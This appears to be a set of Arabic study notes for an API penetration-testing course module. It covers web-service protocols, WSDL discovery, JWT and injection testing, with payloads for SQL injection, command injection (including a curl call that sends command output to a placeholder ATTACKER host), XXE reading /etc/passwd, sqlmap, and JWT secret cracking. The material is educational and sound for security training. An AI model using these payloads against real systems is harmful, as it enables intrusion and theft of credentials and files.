Module 04: اختبار اختراق APIs

Web Services هي مكوّنات برمجية صُمِّمت لتسهيل التواصل وتبادل البيانات بين التطبيقات المختلفة عبر الإنترنت — تتيح للتطبيقات المتباينة التعاون حتى لو كانت على منصات أو لغات مختلفة أو خوادم مختلفة.

Web Services مقابل Web Applications

Web Services مقابل APIs — الفرق الدقيق

01تطبيقات الـ Web Services — XML-RPC وJSON-RPC وSOAP وREST

XML-RPC

<!-- REQUEST -->
<?xml version="1.0"?>
<methodCall>
  <methodName>sampleMethod</methodName>
  <params>
    <param><value><int>42</int></value></param>
  </params>
</methodCall>

<!-- RESPONSE -->
<?xml version="1.0"?>
<methodResponse>
  <params>
    <param><value><string>Hello, World!</string></value></param>
  </params>
</methodResponse>

JSON-RPC

الـ Request object يحتوي ثلاث خصائص دائماً:

{
  "method": "getUserProfile",
  "params": [{"userId": 42}],
  "id": 1
}

SOAP

<!-- SOAP REQUEST -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <web:sampleMethod>
      <web:inputParameter>42</web:inputParameter>
    </web:sampleMethod>
  </soapenv:Body>
</soapenv:Envelope>

<!-- SOAP RESPONSE -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <web:sampleMethodResponse>
      <web:result>Hello, World!</web:result>
    </web:sampleMethodResponse>
  </soapenv:Body>
</soapenv:Envelope>

REST (RESTful APIs)

مقارنة البروتوكولات الأربعة

02WSDL — لغة وصف خدمات الويب ومكوّناتها

إيه هو WSDL؟

WSDL Documents بيكون ليها تعريفات مجرَّدة وملموسة:

مكوّنات WSDL الأساسية

03آليات المصادقة وOWASP WSTG

أنواع آليات المصادقة

اختبار المصادقة — OWASP WSTG

اختبار المصادقة هو فحص واستغلال نقاط الضعف في آليات التحقق من الهوية — Login Forms، Password Reset، MFA، وAccount Lockouts.

04Token-Based Authentication وJSON Web Tokens

Token-Based Authentication — المفهوم

بدل الحفاظ على حالة الجلسة على الـ Server، يتم إصدار Tokens للعملاء وتمريرها ذهاباً وإياباً للمصادقة على الطلبات. هذه الـ Tokens تحتوي هوية المستخدم أو التطبيق والصلاحيات ذات الصلة — تتيح مصادقة سلسة وقابلة للتوسيع.

أنواع الـ Tokens

أماكن تمرير الـ Token — Token Placement

JSON Web Tokens (JWT) — البنية الكاملة

JWT Claims — أنواع البيانات في الـ Payload

Token-Based Auth Flow

05WSDL Disclosure وMethod Enumeration

لماذا WSDL Disclosure مهم؟

الوصول لملف WSDL هو الخطوة الأولى في اختبار أمان الـ Web Services — بيديك القائمة الكاملة للـ Operations والـ Types المسموح بها من الـ Server، والـ Syntax الصحيح، والـ Inputs والـ Outputs وكل المعلومات اللي محتاجها لتنفيذ هجمات ناجحة.

اكتشاف خدمات SOAP والـ Endpoints

# إضافة Suffixes للـ Service URL
http://target.com/service?wsdl
http://target.com/service.wsdl
http://target.com/service?disco

# أمثلة عملية
curl http://target.com/api/soap?wsdl
curl http://target.com/ws/service.wsdl
curl http://target.com/webservice?disco

# استخدام Burp Suite Intruder مع قائمة Suffixes
# أو ffuf/gobuster لـ WSDL file discovery
ffuf -u http://target.com/FUZZ -w wsdl-paths.txt

06ثغرات الـ Injection في الـ APIs

SQL Injection في الـ APIs

نفس مبادئ SQLi في تطبيقات الويب تنطبق على الـ APIs — الفرق هو أن الـ Payload بيتمرَّر في JSON Body أو Query Parameters أو Headers بدل HTML Form Fields.

# SQL Injection في JSON Body
POST /api/users/login HTTP/1.1
Content-Type: application/json

{"username": "admin'--", "password": "anything"}

# SQL Injection في Query Parameter
GET /api/products?id=1 OR 1=1-- HTTP/1.1

# SQL Injection في SOAP Request
<web:getUser>
  <web:userId>1' OR '1'='1</web:userId>
</web:getUser>

# اختبار مع UNION-based
GET /api/user?id=1 UNION SELECT username,password,NULL FROM users--

# Error-based detection
GET /api/item?id=1'
# Response: SQL syntax error → vulnerable!

Command Injection في الـ APIs

بعض الـ APIs بتمرَّر Input مباشرةً لـ OS Commands — بدون Sanitization. أي Parameter يُستخدَم في System Call ممكن يكون نقطة دخول.

# Command Injection في JSON Body
POST /api/ping HTTP/1.1
Content-Type: application/json

{"host": "127.0.0.1; id"}
{"host": "127.0.0.1 && cat /etc/passwd"}
{"host": "127.0.0.1 | whoami"}

# Command Injection في Query Parameter
GET /api/lookup?domain=example.com;id HTTP/1.1

# Blind Command Injection (time-based)
{"host": "127.0.0.1; sleep 5"}
# لو الـ Response تأخَّر 5 ثوان → vulnerable!

# Blind Command Injection (OOB)
{"host": "127.0.0.1; curl http://ATTACKER/$(id)"}

أدوات اختبار الـ API Injection

# SQLmap مع JSON Body
sqlmap -u "http://target.com/api/login" \
       --data='{"username":"*","password":"test"}' \
       --level=5 --risk=3 \
       --headers="Content-Type: application/json"

# SQLmap مع Bearer Token
sqlmap -u "http://target.com/api/users?id=1" \
       --headers="Authorization: Bearer JWT_TOKEN" \
       --dbs

Cheat Sheet مرجعي

# Suffixes الشائعة
?wsdl          .wsdl          ?disco
?WSDL          /wsdl          /service.wsdl
?wsdl=1        /api?wsdl      /ws?wsdl

# Curl مباشر
curl -s "http://target.com/service?wsdl"

# ffuf discovery
ffuf -u "http://target.com/FUZZ" \
     -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# Burp Suite Intruder
# Payload: قائمة WSDL suffixes على Base URL

# فك تشفير JWT (بدون التحقق من الـ Signature)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
echo "eyJzdWIiOiIxMjM0NTY3ODkwIn0" | base64 -d

# Python — فك تشفير JWT كامل
python3 -c "
import base64, json
parts = 'YOUR.JWT.TOKEN'.split('.')
for p in parts[:2]:
    padded = p + '=' * (4 - len(p)%4)
    print(json.dumps(json.loads(base64.urlsafe_b64decode(padded)), indent=2))
"

# أدوات JWT Online
# jwt.io          — فك تشفير وتشفير
# jwt-cracker     — Brute Force على Secret
# hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# اختبار JWT "alg: none" attack
# تعديل الـ Header لـ {"alg": "none"} وحذف الـ Signature

# 1. اكتشاف WSDL
curl http://target.com/service?wsdl -o service.wsdl

# 2. استخراج Operations من WSDL
grep -i "operation name" service.wsdl

# 3. بناء SOAP Request يدوياً
curl -X POST http://target.com/service \
  -H "Content-Type: text/xml" \
  -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <getUser><id>1</id></getUser>
        </soap:Body>
      </soap:Envelope>'

# 4. SQL Injection في SOAP
<id>1' OR '1'='1</id>

# 5. XXE في SOAP
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<id>&xxe;</id>

الخلاصة العامة للموديول

الموديول ده بنى أساساً شاملاً لاختبار اختراق الـ APIs — من فهم بروتوكولات الـ Web Services، لـ WSDL disclosure وتعداد الـ Methods، لاختبار المصادقة وثغرات الـ JWT، وصولاً لـ Injection Vulnerabilities.

APIs هي نقاط الدخول الأكثر انتشاراً في التطبيقات الحديثة. فهم بروتوكولات الاتصال وآليات المصادقة وأماكن الـ Injection المحتملة هو أساس كل اختبار اختراق لتطبيقات الويب الحديثة.

نهاية نوتس الموديول الرابع — eWPTXv3: API Penetration Testing